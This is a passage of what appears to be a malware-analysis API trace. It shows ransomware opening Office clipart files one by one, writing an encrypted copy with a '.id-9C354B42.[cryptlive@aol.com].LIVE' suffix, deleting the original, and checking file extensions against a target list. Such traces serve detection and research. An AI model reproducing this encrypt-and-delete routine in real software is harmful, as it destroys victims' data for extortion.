CloseHandle (hObject=0x3a8) returned 1 [0149.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0149.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.339] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.339] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.339] GetLastError () returned 0x0 [0149.339] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x23c2, lpOverlapped=0x0) returned 1 [0149.341] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0149.346] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.346] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.346] SetEndOfFile (hFile=0x3b0) returned 1 [0149.347] CloseHandle (hObject=0x3b0) returned 1 [0149.347] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.347] SetEndOfFile (hFile=0x3a8) returned 1 [0149.349] CloseHandle (hObject=0x3a8) returned 1 [0149.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.350] lstrlenW (lpString=".doc") returned 4 [0149.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.350] lstrlenW (lpString=".docx") returned 5 [0149.350] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.350] lstrlenW (lpString=".pdf") returned 4 [0149.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString=".xls") returned 4 [0149.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.351] lstrlenW (lpString=".xlsx") returned 5 [0149.351] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.351] lstrlenW (lpString=".ppt") returned 4 [0149.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString=".zip") returned 4 [0149.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.351] lstrlenW (lpString=".rar") returned 4 [0149.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString=".bz2") returned 4 [0149.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString=".7z") returned 3 [0149.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString=".dbf") returned 4 [0149.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString=".1cd") returned 4 [0149.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString=".jpg") returned 4 [0149.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.351] lstrlenW (lpString=".doc") returned 4 [0149.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString=".docx") returned 5 [0149.351] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.351] lstrlenW (lpString=".pdf") returned 4 [0149.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.351] lstrlenW (lpString=".xls") returned 4 [0149.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.351] lstrlenW (lpString=".xlsx") returned 5 [0149.352] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.352] lstrlenW (lpString=".ppt") returned 4 [0149.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.352] lstrlenW (lpString=".zip") returned 4 [0149.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.352] lstrlenW (lpString=".rar") returned 4 [0149.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.352] lstrlenW (lpString=".bz2") returned 4 [0149.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.352] lstrlenW (lpString=".7z") returned 3 [0149.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.352] lstrlenW (lpString=".dbf") returned 4 [0149.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.352] lstrlenW (lpString=".1cd") returned 4 [0149.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0149.352] lstrlenW (lpString=".jpg") returned 4 [0149.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.352] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.352] lstrlenW (lpString="J0099180.WMF") returned 12 [0149.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.353] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3394) returned 1 [0149.353] CloseHandle (hObject=0x3a8) returned 1 [0149.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0149.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.353] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.353] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.354] GetLastError () returned 0x0 [0149.354] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xd42, lpOverlapped=0x0) returned 1 [0149.398] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0149.399] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.399] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.399] SetEndOfFile (hFile=0x3b0) returned 1 [0149.399] CloseHandle (hObject=0x3b0) returned 1 [0149.399] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.399] SetEndOfFile (hFile=0x3a8) returned 1 [0149.401] CloseHandle (hObject=0x3a8) returned 1 [0149.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0149.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.458] lstrlenW (lpString=".doc") returned 4 [0149.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.458] lstrlenW (lpString=".docx") returned 5 [0149.458] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.458] lstrlenW (lpString=".pdf") returned 4 [0149.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.458] lstrlenW (lpString=".xls") returned 4 [0149.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.459] lstrlenW (lpString=".xlsx") returned 5 [0149.459] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.459] lstrlenW (lpString=".ppt") returned 4 [0149.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString=".zip") returned 4 [0149.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.459] lstrlenW (lpString=".rar") returned 4 [0149.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString=".bz2") returned 4 [0149.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString=".7z") returned 3 [0149.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString=".dbf") returned 4 [0149.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString=".1cd") returned 4 [0149.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString=".jpg") returned 4 [0149.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.459] lstrlenW (lpString=".doc") returned 4 [0149.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString=".docx") returned 5 [0149.459] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.459] lstrlenW (lpString=".pdf") returned 4 [0149.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.459] lstrlenW (lpString=".xls") returned 4 [0149.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.459] lstrlenW (lpString=".xlsx") returned 5 [0149.459] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.459] lstrlenW (lpString=".ppt") returned 4 [0149.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.460] lstrlenW (lpString=".zip") returned 4 [0149.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.460] lstrlenW (lpString=".rar") returned 4 [0149.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.460] lstrlenW (lpString=".bz2") returned 4 [0149.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.460] lstrlenW (lpString=".7z") returned 3 [0149.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.460] lstrlenW (lpString=".dbf") returned 4 [0149.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.460] lstrlenW (lpString=".1cd") returned 4 [0149.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0149.460] lstrlenW (lpString=".jpg") returned 4 [0149.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.460] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.460] lstrlenW (lpString="J0099188.JPG") returned 12 [0149.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.461] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9080) returned 1 [0149.461] CloseHandle (hObject=0x3a0) returned 1 [0149.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0149.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.461] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.461] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.462] GetLastError () returned 0x0 [0149.462] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2378, lpOverlapped=0x0) returned 1 [0149.491] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0149.492] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.492] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.492] SetEndOfFile (hFile=0x39c) returned 1 [0149.492] CloseHandle (hObject=0x39c) returned 1 [0149.492] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.492] SetEndOfFile (hFile=0x3a0) returned 1 [0149.494] CloseHandle (hObject=0x3a0) returned 1 [0149.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0149.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.495] lstrlenW (lpString=".doc") returned 4 [0149.495] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.495] lstrlenW (lpString=".docx") returned 5 [0149.495] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.495] lstrlenW (lpString=".pdf") returned 4 [0149.495] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.495] lstrlenW (lpString=".xls") returned 4 [0149.495] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.495] lstrlenW (lpString=".xlsx") returned 5 [0149.495] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.495] lstrlenW (lpString=".ppt") returned 4 [0149.495] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.495] lstrlenW (lpString=".zip") returned 4 [0149.495] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".rar") returned 4 [0149.496] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".bz2") returned 4 [0149.496] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.496] lstrlenW (lpString=".7z") returned 3 [0149.496] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString=".dbf") returned 4 [0149.496] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString=".1cd") returned 4 [0149.496] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString=".jpg") returned 4 [0149.496] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString=".doc") returned 4 [0149.496] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.496] lstrlenW (lpString=".docx") returned 5 [0149.496] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.496] lstrlenW (lpString=".pdf") returned 4 [0149.496] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".xls") returned 4 [0149.496] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".xlsx") returned 5 [0149.496] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.496] lstrlenW (lpString=".ppt") returned 4 [0149.496] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.496] lstrlenW (lpString=".zip") returned 4 [0149.496] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".rar") returned 4 [0149.496] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.496] lstrlenW (lpString=".bz2") returned 4 [0149.496] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.497] lstrlenW (lpString=".7z") returned 3 [0149.497] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.497] lstrlenW (lpString=".dbf") returned 4 [0149.497] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.497] lstrlenW (lpString=".1cd") returned 4 [0149.497] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0149.497] lstrlenW (lpString=".jpg") returned 4 [0149.497] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.497] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.497] lstrlenW (lpString="J0099189.JPG") returned 12 [0149.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.506] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8076) returned 1 [0149.506] CloseHandle (hObject=0x380) returned 1 [0149.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0149.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), 